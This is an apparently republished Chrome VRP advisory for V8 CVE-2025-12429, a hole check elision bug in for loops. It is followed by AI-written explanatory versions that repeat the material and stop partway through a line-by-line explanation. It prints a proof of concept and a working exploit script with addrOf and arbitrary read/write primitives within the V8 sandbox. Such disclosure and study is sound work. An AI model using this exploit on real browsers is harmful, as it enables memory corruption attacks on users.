Skip to content
Memory corruption Advisory Advanced CVE-2025-12429

Inappropriate implementation in V8 (CVE-2025-12429)

A hole check elision bug in V8's bytecode generator for for statements can leak the hole value into JavaScript, leading to type confusion. An attacker could exploit this to achieve arbitrary read and write within the sandbox.

Aorui Zhang Follow

Originally disclosed on Chrome VRP

Bounty$50,000 High View original
  • Fix shipped in 19 days

Summary

Hole checks can be incorrectly elided when processing a for statement, potentially resulting in hole leak and type confusion.

RCA

When handling for statements, the bytecode generator follows a specific dominator order in which it assumes BODY dominates NEXT, so they share the same elision scope. However, this is not always the case for statements in BODY and NEXT.

C++
  // C-style for loops' textual order differs from dominator order.
  //
  // for (INIT; TEST; NEXT) BODY
  // REST
  //
  //   has the dominator order of
  //
  // INIT dominates TEST dominates BODY dominates NEXT

As demonstrated in the code at BytecodeGenerator::VisitForStatement, both BODY and NEXT reside within the same elision scope. For example, if a variable y is initialized in BODY and a CONTINUE statement exists prior to its initialization, y will be incorrectly marked as initialized. Consequently, when y is used in the NEXT statement, the hole check will be improperly elided in NEXT before usage, leaking hole values into the JavaScript scope.

C++
  HoleCheckElisionScope elider(this);
  VisitIterationBody(stmt, &loop_builder);
  if (stmt->next() != nullptr) {
    builder()->SetStatementPosition(stmt->next());
    Visit(stmt->next());
  }

POC

The following PoC was tested against the latest commit fed47445bbdd1a69b70f2b93a761c62c1e0f769c at the time of reporting, using the pre-compiled debug binary from gs://v8-asan/mac-debug/d8-asan-mac-debug-v8-component-103041.zip.

JavaScript
function use(x) {
    % DebugPrint(x);
    let map = new Map();
    map.delete(x);
}
function pwn() {
    for (var i = 0; i < 1; use(y)) {
        if (i == 0)
            continue;
        y;

    }
    let y;
}

pwn();

output:

DebugPrint: 0x7900020001: [Hole] in ReadOnlySpace
  <the_hole_value>
0x7900000745: [Map] in ReadOnlySpace
 - map: 0x007900000475 <MetaMap (0x00790000002d <null>)>
 - type: HOLE_TYPE
 - instance size: 4
 - elements kind: HOLEY_ELEMENTS
 - enum length: invalid
 - stable_map
 - non-extensible
 - back pointer: 0x007900000011 <undefined>
 - prototype_validity_cell: 0
 - instance descriptors (own) #0: 0x0079000007e5 <DescriptorArray[0]>
 - prototype: 0x00790000002d <null>
 - constructor: 0x00790000002d <null>
 - dependent code: 0x0079000007cd <Other heap object (WEAK_ARRAY_LIST_TYPE)>
 - construction counter: 0



#
# Fatal error in ../../src/objects/objects-inl.h, line 2073
# Debug check failed: instance_type != HOLE_TYPE (HOLE_TYPE (272) vs. HOLE_TYPE (272)).
#
#
#
#FailureMessage Object: 0x12f477c60
==== C stack trace ===============================

    0   d8                                  0x00000001097ea6d3 v8::base::debug::StackTrace::StackTrace() + 19
    1   d8                                  0x0000000109800d91 v8::platform::(anonymous namespace)::PrintStackTrace() + 305
    2   d8                                  0x00000001097b384a V8_Fatal(char const*, int, char const*, ...) + 666
    3   d8                                  0x00000001097b2a2f v8::base::(anonymous namespace)::DefaultDcheckHandler(char const*, int, char const*) + 47
    4   d8                                  0x0000000100c1bc0f v8::internal::Object::GetSimpleHash(v8::internal::Tagged<v8::internal::Object>) + 2959
    5   d8                                  0x0000000100b86280 v8::internal::Object::GetHash(v8::internal::Tagged<v8::internal::Object>) + 192
    6   d8                                  0x0000000102dcf759 v8::internal::OrderedHashMap::GetHash(v8::internal::Isolate*, unsigned long) + 185
    7   ???                                 0x000000018d17281b 0x0 + 6662072347
    8   ???                                 0x000000018cc50685 0x0 + 6656689797
    9   ???                                 0x000000018cc50685 0x0 + 6656689797
[1]    99221 trace trap  ./d8 --allow-natives-syntax poc.js

Exploit

Vulnerability exploitation is possible through existing techniques, as demonstrated in CVE-2025-6554, which was resolved by commit 869dc4afa04b792da08e7a6e01d4981b4118c894.

The following script demonstrates the ability to perform arbitrary read and write operations within the sandbox, tested and confirmed to work on both the parent commit 9ba45bdfdd8 and the latest Chrome Extended Stable version 140.0.7339.240.

JavaScript
class Helpers {
  constructor() {
    this.buf = new ArrayBuffer(8);
    this.dv = new DataView(this.buf);
    this.u8 = new Uint8Array(this.buf);
    this.u32 = new Uint32Array(this.buf);
    this.u64 = new BigUint64Array(this.buf);
    this.f32 = new Float32Array(this.buf);
    this.f64 = new Float64Array(this.buf);

    this.roots = new Array(0x30000);
    this.index = 0;
  }

  pair_i32_to_f64(p1, p2) {
    this.u32[0] = p1;
    this.u32[1] = p2;
    return this.f64[0];
  }

  i64tof64(i) {
    this.u64[0] = i;
    return this.f64[0];
  }

  f64toi64(f) {
    this.f64[0] = f;
    return this.u64[0];
  }

  set_i64(i) {
    this.u64[0] = i;
  }

  set_l(i) {
    this.u32[0] = i;
  }

  set_h(i) {
    this.u32[1] = i;
  }

  get_i64() {
    return this.u64[0];
  }

  ftoil(f) {
    this.f64[0] = f;
    return this.u32[0];
  }

  ftoih(f) {
    this.f64[0] = f;
    return this.u32[1];
  }

  add_ref(object) {
    this.roots[this.index++] = object;
  }

  mark_sweep_gc() {
    new ArrayBuffer(0x7fe00000);
  }

  scavenge_gc() {
    for (var i = 0; i < 8; i++) {
      // fill up new space external backing store bytes
      this.add_ref(new ArrayBuffer(0x200000));
    }
    this.add_ref(new ArrayBuffer(8));
  }

  hex(i) {
    return i.toString(16).padStart(16, "0");
  }

  breakpoint() {
    this.buf.slice();
  }
}

var helper = new Helpers();

helper.mark_sweep_gc();
helper.mark_sweep_gc();

function pwn(trigger) {
  var hole;

  for (var i = 0; i < 1; hole = y, i++) {
    if (i == 0) continue;
    y;
  }
  let y;

  let o = {};
  o.s = trigger ? hole : "not the hole";
  var s = 2 - (Math.sign(o.s.length) + 1);
  var i = 2 * ((5 - (s + 4)) >> 1) + 2;
  let idx = i * 200;

  let arr = new Array(8);
  let flt_arr = [1.1];
  let obj_arr = [flt_arr, flt_arr];
  arr[0] = 13.37;

  arr[idx] = 13.37;
  return [arr, flt_arr, obj_arr];
}

for (var i = 0; i < 0x100000; i++) {
  pwn(false);
  pwn(false);
  pwn(false);
  pwn(false);
}
let [corrupted, flt_arr, obj_arr] = pwn(true);

function addrOf(obj) {
  obj_arr[0] = obj;
  return helper.ftoil(corrupted[15]);
}

function aar(addr) {
  corrupted[13] = helper.pair_i32_to_f64(addr - 7, 0x10);
  return flt_arr[0];
}

function read8(addr) {
  return helper.f64toi64(aar(addr));
}

function read4(addr) {
  return helper.ftoil(aar(addr));
}

function aaw(addr, value) {
  corrupted[13] = helper.pair_i32_to_f64(addr - 7, 0x10);
  flt_arr[0] = value;
}

function write8(addr, value) {
  aaw(addr, helper.i64tof64(value));
}

function write4(addr, value) {
  aaw(addr, helper.pair_i32_to_f64(value, read4(addr + 4)));
}

Bitsect

The issue was introduced by commit 7ce3a5517944fdac428313d80f8cd49474dce667 and enabled by commit 5593d76d69094933d115d496d14aa0c2fde0c266

The original report as published on the Chromium issue tracker, by Aorui Zhang. Images and videos are our own copies; raw HTML is shown as text. View it on Chromium issue tracker.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 10 min read.

Context

This report concerns V8, the JavaScript engine used by Google Chrome. The bug is an inappropriate implementation in the bytecode generator, specifically in how hole checks are elided around C-style for statements. The platform records it as CVE-2025-12429, severity high, in the Chrome VRP, reported by Aorui Zhang, with a bounty of 50,000 USD and disclosure on 2025-10-28. The report itself is an advisory-style technical write-up: it gives a root cause analysis, a proof of concept, an exploit skeleton and a bisect result. It does not include a fix commit or a patch description, so this article cannot say what was changed.

V8 compiles JavaScript to bytecode. When a variable is declared with let and read before it has been initialised, the language requires a ReferenceError (the temporal dead zone). Internally, V8 represents the uninitialised state with a special hole value, and the bytecode generator inserts hole checks before uses of such variables. Because these checks cost performance, the generator elides them when it can prove a variable is already initialised. The elision is tracked with a scope object, HoleCheckElisionScope, which assumes that certain statements dominate others.

Setup

The report states that the PoC was tested against the latest commit [redacted] at the time of reporting, using the pre-compiled debug binary from gs://v8-asan/mac-debug/d8-asan-mac-debug-v8-component-103041.zip. The PoC uses V8's native syntax (%DebugPrint), so the shell must be run with --allow-natives-syntax, as shown in the output line:

Bash
./d8 --allow-natives-syntax poc.js

The exploit section says the arbitrary read and write script was tested and confirmed to work on both the parent commit 9ba45bdfdd8 and the latest Chrome Extended Stable version 140.0.7339.240. No accounts, roles or remote services are involved: this is a local engine bug reproduced in the d8 shell.

Finding it

The researcher's summary is short: hole checks can be incorrectly elided when processing a for statement, potentially resulting in hole leak and type confusion.

The reasoning starts from the dominator order the bytecode generator assumes for C-style loops. The report quotes the comment in the source:

C++
  // C-style for loops' textual order differs from dominator order.
  //
  // for (INIT; TEST; NEXT) BODY
  // REST
  //
  //   has the dominator order of
  //
  // INIT dominates TEST dominates BODY dominates NEXT

In other words, the generator assumes that the loop body always dominates the next expression. If that were true, a variable initialised in the body would also be initialised whenever the next expression runs, and the two could share one elision scope. The researcher points out that this is not always the case for statements in BODY and NEXT, because a continue can jump from the body straight to the next expression, skipping the rest of the body.

The concrete example given: if a variable y is initialised in BODY and a continue statement exists prior to its initialisation, y will be incorrectly marked as initialised. When y is then used in the NEXT statement, the hole check is improperly elided before the use, leaking hole values into the JavaScript scope.

Exploitation

Step 1: confirm the hole leak with a debug build

The first PoC is deliberately small. It calls a helper use on the value read in the loop's next expression, and use passes that value to %DebugPrint and then to Map.prototype.delete.

JavaScript
function use(x) {
    % DebugPrint(x);
    let map = new Map();
    map.delete(x);
}
function pwn() {
    for (var i = 0; i < 1; use(y)) {
        if (i == 0)
            continue;
        y;

    }
    let y;
}

pwn();

The loop runs with i equal to 0. The continue fires before the statement y; in the body, and the next expression use(y) still runs. The next expression use(y) still runs, and because the hole check was elided, y is passed as the internal hole value rather than throwing a ReferenceError.

The output confirms this. %DebugPrint prints the hole:

Text
DebugPrint: 0x7900020001: [Hole] in ReadOnlySpace
  <the_hole_value>
0x7900000745: [Map] in ReadOnlySpace
 - map: 0x007900000475 <MetaMap (0x00790000002d <null>)>
 - type: HOLE_TYPE
 - instance size: 4
 - elements kind: HOLEY_ELEMENTS
 - enum length: invalid
 - stable_map
 - non-extensible
 - back pointer: 0x007900000011 <undefined>
 - prototype_validity_cell: 0
 - instance descriptors (own) #0: 0x0079000007e5 <DescriptorArray[0]>
 - prototype: 0x00790000002d <null>
 - constructor: 0x00790000002d <null>
 - dependent code: 0x0079000007cd <Other heap object (WEAK_ARRAY_LIST_TYPE)>
 - construction counter: 0

Passing the hole into Map.prototype.delete then trips a debug check, because the hash computation does not expect a hole object:

Text
#
# Fatal error in ../../src/objects/objects-inl.h, line 2073
# Debug check failed: instance_type != HOLE_TYPE (HOLE_TYPE (272) vs. HOLE_TYPE (272)).
#
#
#
#FailureMessage Object: 0x12f477c60
==== C stack trace ===============================

    0   d8                                  0x00000001097ea6d3 v8::base::debug::StackTrace::StackTrace() + 19
    1   d8                                  0x0000000109800d91 v8::platform::(anonymous namespace)::PrintStackTrace() + 305
    2   d8                                  0x00000001097b384a V8_Fatal(char const*, int, char const*, ...) + 666
    3   d8                                  0x00000001097b2a2f v8::base::(anonymous namespace)::DefaultDcheckHandler(char const*, int, char const*) + 47
    4   d8                                  0x0000000100c1bc0f v8::internal::Object::GetSimpleHash(v8::internal::Tagged<v8::internal::Object>) + 2959
    5   d8                                  0x0000000100b86280 v8::internal::Object::GetHash(v8::internal::Tagged<v8::internal::Object>) + 192
    6   d8                                  0x0000000102dcf759 v8::internal::OrderedHashMap::GetHash(v8::internal::Isolate*, unsigned long) + 185
    7   ???                                 0x000000018d17281b 0x0 + 6662072347
    8   ???                                 0x000000018cc50685 0x0 + 6656689797
    9   ???                                 0x000000018cc50685 0x0 + 6656689797
[1]    99221 trace trap  ./d8 --allow-natives-syntax poc.js

This shows the hole value reaching a builtin that does not expect it.

Step 2: turn the leak into type confusion

The report states that exploitation is possible through existing techniques, as demonstrated in CVE-2025-6554, which was resolved by commit [redacted]. The exploit script below is said to demonstrate arbitrary read and write within the sandbox.

The first part is a helper class for converting between integer and floating point representations and for forcing garbage collection:

JavaScript
class Helpers {
  constructor() {
    this.buf = new ArrayBuffer(8);
    this.dv = new DataView(this.buf);
    this.u8 = new Uint8Array(this.buf);
    this.u32 = new Uint32Array(this.buf);
    this.u64 = new BigUint64Array(this.buf);
    this.f32 = new Float32Array(this.buf);
    this.f64 = new Float64Array(this.buf);

    this.roots = new Array(0x30000);
    this.index = 0;
  }

  pair_i32_to_f64(p1, p2) {
    this.u32[0] = p1;
    this.u32[1] = p2;
    return this.f64[0];
  }

  i64tof64(i) {
    this.u64[0] = i;
    return this.f64[0];
  }

  f64toi64(f) {
    this.f64[0] = f;
    return this.u64[0];
  }

  set_i64(i) {
    this.u64[0] = i;
  }

  set_l(i) {
    this.u32[0] = i;
  }

  set_h(i) {
    this.u32[1] = i;
  }

  get_i64() {
    return this.u64[0];
  }

  ftoil(f) {
    this.f64[0] = f;
    return this.u32[0];
  }

  ftoih(f) {
    this.f64[0] = f;
    return this.u32[1];
  }

  add_ref(object) {
    this.roots[this.index++] = object;
  }

  mark_sweep_gc() {
    new ArrayBuffer(0x7fe00000);
  }

  scavenge_gc() {
    for (var i = 0; i < 8; i++) {
      // fill up new space external backing store bytes
      this.add_ref(new ArrayBuffer(0x200000));
    }
    this.add_ref(new ArrayBuffer(8));
  }

  hex(i) {
    return i.toString(16).padStart(16, "0");
  }

  breakpoint() {
    this.buf.slice();
  }
}

var helper = new Helpers();

helper.mark_sweep_gc();
helper.mark_sweep_gc();

The Helpers class uses a single 8-byte ArrayBuffer viewed through several typed arrays, so a 64-bit value can be written as two 32-bit halves and read back as a double, and vice versa. mark_sweep_gc allocates a large ArrayBuffer to provoke a mark-sweep collection; scavenge_gc allocates several external backing stores to provoke a scavenge. Two mark-sweep collections are run before the trigger.

Step 3: shape the heap with the corrupted array

The pwn function uses the same loop shape, but this time the next expression assigns the leaked value to hole:

JavaScript
function pwn(trigger) {
  var hole;

  for (var i = 0; i < 1; hole = y, i++) {
    if (i == 0) continue;
    y;
  }
  let y;

  let o = {};
  o.s = trigger ? hole : "not the hole";
  var s = 2 - (Math.sign(o.s.length) + 1);
  var i = 2 * ((5 - (s + 4)) >> 1) + 2;
  let idx = i * 200;

  let arr = new Array(8);
  let flt_arr = [1.1];
  let obj_arr = [flt_arr, flt_arr];
  arr[0] = 13.37;

  arr[idx] = 13.37;
  return [arr, flt_arr, obj_arr];
}

When trigger is true, o.s is the hole; otherwise it is the string "not the hole". The arithmetic on o.s.length then produces a different idx in the two cases. The function creates a small arr of length 8, a float array flt_arr and an object array obj_arr that holds flt_arr twice, then writes 13.37 at arr[0] and at arr[idx]. The returned triple is what the exploit uses afterwards.

Step 4: warm up, then trigger

The exploit calls pwn(false) four times per iteration for 0x100000 iterations, then calls pwn(true) once and destructures the result:

JavaScript
for (var i = 0; i < 0x100000; i++) {
  pwn(false);
  pwn(false);
  pwn(false);
  pwn(false);
}
let [corrupted, flt_arr, obj_arr] = pwn(true);

The report does not spell out the exact layout change, only that this yields the primitives below.

Step 5: arbitrary read and write primitives

The primitives are built on the three arrays:

JavaScript
function addrOf(obj) {
  obj_arr[0] = obj;
  return helper.ftoil(corrupted[15]);
}

function aar(addr) {
  corrupted[13] = helper.pair_i32_to_f64(addr - 7, 0x10);
  return flt_arr[0];
}

function read8(addr) {
  return helper.f64toi64(aar(addr));
}

function read4(addr) {
  return helper.ftoil(aar(addr));
}

function aaw(addr, value) {
  corrupted[13] = helper.pair_i32_to_f64(addr - 7, 0x10);
  flt_arr[0] = value;
}

function write8(addr, value) {
  aaw(addr, helper.i64tof64(value));
}

function write4(addr, value) {
  aaw(addr, helper.pair_i32_to_f64(value, read4(addr + 4)));
}

addrOf stores an object into obj_arr[0] and returns the low 32 bits of corrupted[15]. aar writes a crafted pair into corrupted[13] and returns flt_arr[0]. aaw does the reverse: it points flt_arr at the target and writes through flt_arr[0]. read8, read4, write8 and write4 wrap these for 64-bit and 32-bit access, with write4 preserving the upper half by reading it first.

The report does not include a demonstration of what is read or written with these primitives, nor a full sandbox escape. It states only that they perform arbitrary read and write within the sandbox.

Root cause

The mistake is in BytecodeGenerator::VisitForStatement. The report quotes the relevant code:

C++
  HoleCheckElisionScope elider(this);
  VisitIterationBody(stmt, &loop_builder);
  if (stmt->next() != nullptr) {
    builder()->SetStatementPosition(stmt->next());
    Visit(stmt->next());
  }

Both the body and the next expression are visited inside the same HoleCheckElisionScope. That is only sound if the body dominates the next expression. The dominator comment quoted above shows the assumption, but a continue inside the body jumps to the next expression without executing the remainder of the body. A let variable declared after the continue is therefore still in its hole state when the next expression runs, yet the shared elision scope has already marked it as initialised, so the hole check before the use is dropped.

The elision scope encodes a dominance assumption that does not hold for all control flow inside the loop body. The report does not describe any additional check that would have caught the mismatch; it only identifies the incorrect scope sharing.

Impact

The report's own summary describes the potential result as hole leak and type confusion. The PoC shows the hole value reaching JavaScript code and causing a debug assertion when passed to Map.prototype.delete. The exploit section states that arbitrary read and write within the sandbox is achievable with existing techniques, referencing CVE-2025-6554, and that the script was confirmed on the parent commit and on Chrome Extended Stable 140.0.7339.240. The report does not demonstrate a sandbox escape, so the impact beyond the sandbox is not established in the text. The platform rates the issue high severity.

Fix

The report does not state which change fixed the issue, and no patch is quoted. The bisect section identifies the commits that introduced and enabled the behaviour:

  • Introduced by commit [redacted].
  • Enabled by commit [redacted].

Both links point to chromiumdash. Beyond that, the original gives no remediation detail, so any statement about the actual fix would be speculation.

Variants to test

These are suggestions for further research, not findings from the report.

  1. Other loop forms with non-local jumps. Try for loops whose body contains continue, break or labelled jumps before a let declaration, and check whether the next expression or the code after the loop can observe the hole. A positive result is a %DebugPrint showing [Hole] or a ReferenceError that fails to fire.
  2. Other statements that share an elision scope. Look for places where the bytecode generator visits two statements under one HoleCheckElisionScope on a dominance assumption, such as loop conditions or finally blocks. A positive result is a hole value reaching a builtin that does not expect it, as with Map.prototype.delete here.
  3. do...while and for...of loops. The report only discusses C-style for; the same reasoning about textual versus dominator order may apply to other iteration statements. A positive result is the same debug assertion or an observable hole in user code.
  4. Builtins that consume values without hole checks. The crash here came from hashing the hole in OrderedHashMap. Try other builtins that hash, compare or store their arguments, and see whether the hole produces a type confusion rather than a clean assertion. A positive result is a value whose map or type does not match what the builtin expects.
  5. Regression check on the fixed build. Run the original PoC against a current d8 built with --allow-natives-syntax. A positive result for the fix is a ReferenceError instead of the [Hole] debug print.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 25 min read.

What happened, in plain words

Google Chrome is a web browser. Inside it is a program called V8 that reads and runs JavaScript, the language most web pages use to make things happen on screen. V8 does not run your JavaScript text directly. It first translates it into a simpler internal instruction list called bytecode, a bit like turning a recipe written in prose into a numbered list of kitchen steps. The part of V8 that does this translation is called the bytecode generator.

JavaScript has a rule about variables declared with the keyword let. A let variable is only usable after the line that gives it a value. If code tries to read it before that line has run, JavaScript must stop with an error called ReferenceError. This early period is called the temporal dead zone. Inside V8, the "no value yet" state is stored as a special internal marker called the hole. Before V8 lets code read such a variable, it inserts a small check, a hole check, that asks "is this still the hole?" and throws the error if it is.

Those checks cost a little time, so V8 tries to skip them when it can prove the variable must already have a value. It keeps track of that proof with an internal bookkeeping object called HoleCheckElisionScope. "Elide" simply means "leave out". The bug in this report is that this bookkeeping makes a wrong assumption about loops, so a hole check gets left out when it should not be, and the internal hole value leaks out into ordinary JavaScript code. Once a value that should never be visible becomes visible, the engine can be confused about what type that value is, which is called type confusion. The platform records this as CVE-2025-12429, severity high, in the Chrome VRP (Chrome's Vulnerability Reward Program), reported by Aorui Zhang, with a bounty of 50,000 USD and disclosure on 2025-10-28.

The report is an advisory-style technical write-up. It gives a root cause analysis, a proof of concept, an exploit skeleton and a bisect result. It does not include a fix commit or a patch description, so this article cannot say what was changed.

Context

This report concerns V8, the JavaScript engine used by Google Chrome. The bug is an inappropriate implementation in the bytecode generator, specifically in how hole checks are elided around C-style for statements. A C-style for statement is the classic loop written as for (start; keep going; step) { body }.

The report gives a root cause analysis, a proof of concept, an exploit skeleton and a bisect result. A bisect is a way of searching through the history of code changes to find the exact change that introduced a behaviour, like halving a stack of cards again and again to find the odd one. The report does not include a fix commit or a patch description, so this article cannot say what was changed.

V8 compiles JavaScript to bytecode. When a variable is declared with let and read before it has been initialised, the language requires a ReferenceError (the temporal dead zone). Internally, V8 represents the uninitialised state with a special hole value, and the bytecode generator inserts hole checks before uses of such variables. Because these checks cost performance, the generator elides them when it can prove a variable is already initialised. The elision is tracked with a scope object, HoleCheckElisionScope, which assumes that certain statements dominate others. "Dominates" here is a technical term: statement A dominates statement B if every possible path through the program that reaches B must have passed through A first. If A dominates B, then anything A guarantees is also true at B.

Setup

The report states that the PoC was tested against the latest commit [redacted] at the time of reporting, using the pre-compiled debug binary from gs://v8-asan/mac-debug/d8-asan-mac-debug-v8-component-103041.zip. A commit is a saved snapshot of a code project; the long string is its unique identifier. A debug binary is a build of the program that contains extra internal checks, useful for finding bugs. The address starting with gs:// is a storage location for that pre-built file.

The PoC uses V8's native syntax (%DebugPrint), so the shell must be run with --allow-natives-syntax, as shown in the output line:

Bash
./d8 --allow-natives-syntax poc.js

Line by line:

  • ./d8 runs a program called d8 from the current folder. d8 is V8's own command-line shell, a bare JavaScript runner with no browser around it, useful for testing the engine directly.
  • --allow-natives-syntax is a switch that unlocks special debugging functions whose names start with %, such as %DebugPrint. Without it, V8 refuses to run them.
  • poc.js is the file containing the proof of concept, the small script that demonstrates the bug.

The exploit section says the arbitrary read and write script was tested and confirmed to work on both the parent commit 9ba45bdfdd8 and the latest Chrome Extended Stable version 140.0.7339.240. "Parent commit" means the code snapshot just before the one being discussed. "Arbitrary read and write" means the ability to read and change any memory the program can reach, which is a very powerful position for an attacker. No accounts, roles or remote services are involved: this is a local engine bug reproduced in the d8 shell.

Finding it

The researcher's summary is short: hole checks can be incorrectly elided when processing a for statement, potentially resulting in hole leak and type confusion.

The reasoning starts from the dominator order the bytecode generator assumes for C-style loops. The report quotes the comment in the source:

C++
  // C-style for loops' textual order differs from dominator order.
  //
  // for (INIT; TEST; NEXT) BODY
  // REST
  //
  //   has the dominator order of
  //
  // INIT dominates TEST dominates BODY dominates NEXT

Line by line:

  • The first comment says that for C-style loops, the order in which the code is written (textual order) is not the same as the order in which control is guaranteed to flow (dominator order).
  • for (INIT; TEST; NEXT) BODY is the general shape of a C-style loop: INIT runs once at the start, TEST is checked before each round, BODY is the work done each round, and NEXT runs after each round.
  • REST is whatever code comes after the loop.
  • The remaining comment states the assumption: INIT dominates TEST, TEST dominates BODY, and BODY dominates NEXT.

In other words, the generator assumes that the loop body always dominates the next expression. If that were true, a variable initialised in the body would also be initialised whenever the next expression runs, and the two could share one elision scope. The researcher points out that this is not always the case for statements in BODY and NEXT, because a continue can jump from the body straight to the next expression, skipping the rest of the body. continue is a JavaScript keyword that says "stop this round here and go on to the next round".

The concrete example given: if a variable y is initialised in BODY and a continue statement exists prior to its initialisation, y will be incorrectly marked as initialised. When y is then used in the NEXT statement, the hole check is improperly elided before the use, leaking hole values into the JavaScript scope.

Exploitation

Step 1: confirm the hole leak with a debug build

The first PoC is deliberately small. It calls a helper use on the value read in the loop's next expression, and use passes that value to %DebugPrint and then to Map.prototype.delete.

JavaScript
function use(x) {
    % DebugPrint(x);
    let map = new Map();
    map.delete(x);
}
function pwn() {
    for (var i = 0; i < 1; use(y)) {
        if (i == 0)
            continue;
        y;

    }
    let y;
}

pwn();

Line by line:

  • function use(x) { defines a helper function named use that takes one argument, x.
  • % DebugPrint(x); asks V8 to print a detailed internal description of whatever x is. This is a debugging tool, not normal JavaScript.
  • let map = new Map(); creates a new Map, which is a built-in JavaScript container that stores key and value pairs, like a labelled drawer cabinet.
  • map.delete(x); asks the map to remove the entry whose key is x. To find the entry, the map must compute a hash of the key, a numeric fingerprint derived from the value.
  • function pwn() { defines the function that triggers the bug.
  • for (var i = 0; i < 1; use(y)) { starts a loop. i begins at 0, the loop keeps going while i < 1, and after each round the expression use(y) runs. Note that y is read here, in the next expression.
  • if (i == 0) checks whether this is the first round.
  • continue; on the next line jumps straight to the next expression, skipping the rest of the body.
  • y; is a statement in the body that reads y. On the first round it is skipped because of the continue.
  • let y; declares y after the loop, and y is read in the next expression before it is initialised.
  • pwn(); runs the function.

The loop runs with i equal to 0. The continue fires before the statement y; in the body, so the let y declaration below the loop is never initialised. The next expression use(y) still runs, and because the hole check was elided, y is passed as the internal hole value rather than throwing a ReferenceError.

The output confirms this. %DebugPrint prints the hole:

Text
DebugPrint: 0x7900020001: [Hole] in ReadOnlySpace
  <the_hole_value>
0x7900000745: [Map] in ReadOnlySpace
 - map: 0x007900000475 <MetaMap (0x00790000002d <null>)>
 - type: HOLE_TYPE
 - instance size: 4
 - elements kind: HOLEY_ELEMENTS
 - enum length: invalid
 - stable_map
 - non-extensible
 - back pointer: 0x007900000011 <undefined>
 - prototype_validity_cell: 0
 - instance descriptors (own) #0: 0x0079000007e5 <DescriptorArray[0]>
 - prototype: 0x00790000002d <null>
 - constructor: 0x00790000002d <null>
 - dependent code: 0x0079000007cd <Other heap object (WEAK_ARRAY_LIST_TYPE)>
 - construction counter: 0

Line by line:

  • DebugPrint: 0x7900020001: [Hole] in ReadOnlySpace says the value is the hole, and it lives in a memory region V8 calls ReadOnlySpace, a part of memory that is never changed after startup.
  • <the_hole_value> is the internal name of that marker.
  • The block starting 0x7900000745: [Map] describes the map of the hole. A map in V8 is the internal description of an object's shape and type, like a form that says which fields an object has.
  • - type: HOLE_TYPE confirms the type is the hole type.
  • The remaining lines are further details of that internal description: its size, its elements kind, whether it is stable, whether it can be extended, its prototype, its constructor and so on. They are diagnostic detail, not something the exploit needs.

Passing the hole into Map.prototype.delete then trips a debug check, because the hash computation does not expect a hole object:

Text
#
# Fatal error in ../../src/objects/objects-inl.h, line 2073
# Debug check failed: instance_type != HOLE_TYPE (HOLE_TYPE (272) vs. HOLE_TYPE (272)).
#
#
#
#FailureMessage Object: 0x12f477c60
==== C stack trace ===============================

    0   d8                                  0x00000001097ea6d3 v8::base::debug::StackTrace::StackTrace() + 19
    1   d8                                  0x0000000109800d91 v8::platform::(anonymous namespace)::PrintStackTrace() + 305
    2   d8                                  0x00000001097b384a V8_Fatal(char const*, int, char const*, ...) + 666
    3   d8                                  0x00000001097b2a2f v8::base::(anonymous namespace)::DefaultDcheckHandler(char const*, int, char const*) + 47
    4   d8                                  0x0000000100c1bc0f v8::internal::Object::GetSimpleHash(v8::internal::Tagged<v8::internal::Object>) + 2959
    5   d8                                  0x0000000100b86280 v8::internal::Object::GetHash(v8::internal::Tagged<v8::internal::Object>) + 192
    6   d8                                  0x0000000102dcf759 v8::internal::OrderedHashMap::GetHash(v8::internal::Isolate*, unsigned long) + 185
    7   ???                                 0x000000018d17281b 0x0 + 6662072347
    8   ???                                 0x000000018cc50685 0x0 + 6656689797
    9   ???                                 0x000000018cc50685 0x0 + 6656689797
[1]    99221 trace trap  ./d8 --allow-natives-syntax poc.js

Line by line:

  • Fatal error in ../../src/objects/objects-inl.h, line 2073 says the program stopped itself at a specific place in its own source code.
  • Debug check failed: instance_type != HOLE_TYPE (HOLE_TYPE (272) vs. HOLE_TYPE (272)) is the failed internal check. The check expected the type not to be the hole type, but it was the hole type. The numbers in brackets are the numeric codes of the two types being compared.
  • FailureMessage Object and the following lines identify the object involved in the failure.
  • C stack trace lists the chain of function calls that led to the stop, from the innermost call at the top to the outer ones below. The names show the path went through hash computation (GetSimpleHash, GetHash, OrderedHashMap::GetHash), which is exactly the map lookup triggered by map.delete(x).
  • The final line [1] 99221 trace trap ./d8 --allow-natives-syntax poc.js is the operating system reporting that the process was stopped by a trap, with the command that was run.

This shows the hole value reaching a builtin that does not expect it.

Step 2: turn the leak into type confusion

The report states that exploitation is possible through existing techniques, as demonstrated in CVE-2025-6554, which was resolved by commit [redacted]. The exploit script below is said to demonstrate arbitrary read and write within the sandbox. A sandbox here is a restricted region of memory inside which V8 keeps the objects it manages, so that a bug in JavaScript cannot easily reach the rest of the browser process.

The first part is a helper class for converting between integer and floating point representations and for forcing garbage collection:

JavaScript
class Helpers {
  constructor() {
    this.buf = new ArrayBuffer(8);
    this.dv = new DataView(this.buf);
    this.u8 = new Uint8Array(this.buf);
    this.u32 = new Uint32Array(this.buf);
    this.u64 = new BigUint64Array(this.buf);
    this.f32 = new Float32Array(this.buf);
    this.f64 = new Float64Array(this.buf);

    this.roots = new Array(0x30000);
    this.index = 0;
  }

  pair_i32_to_f64(p1, p2) {
    this.u32[0] = p1;
    this.u32[1] = p2;
    return this.f64[0];
  }

  i64tof64(i) {
    this.u64[0] = i;
    return this.f64[0];
  }

  f64toi64(f) {
    this.f64[0] = f;
    return this.u64[0];
  }

  set_i64(i) {
    this.u64[0] = i;
  }

  set_l(i) {
    this.u32[0] = i;
  }

  set_h(i) {
    this.u32[1] = i;
  }

  get_i64() {
    return this.u64[0];
  }

  ftoil(f) {
    this.f64[0] = f;
    return this.u32[0];
  }

  ftoih(f) {
    this.f64[0] = f;
    return this.u32[1];
  }

  add_ref(object) {
    this.roots[this.index++] = object;
  }

  mark_sweep_gc() {
    new ArrayBuffer(0x7fe00000);
  }

  scavenge_gc() {
    for (var i = 0; i < 8; i++) {
      // fill up new space external backing store bytes
      this.add_ref(new ArrayBuffer(0x200000));
    }
    this.add_ref(new ArrayBuffer(8));
  }

  hex(i) {
    return i.toString(16).padStart(16, "0");
  }

  breakpoint() {
    this.buf.slice();
  }
}

var helper = new Helpers();

helper.mark_sweep_gc();
helper.mark_sweep_gc();

Line by line:

  • class Helpers { starts the definition of a class, a reusable template for creating objects with shared behaviour.
  • constructor() { is the function that runs when a new Helpers object is created.
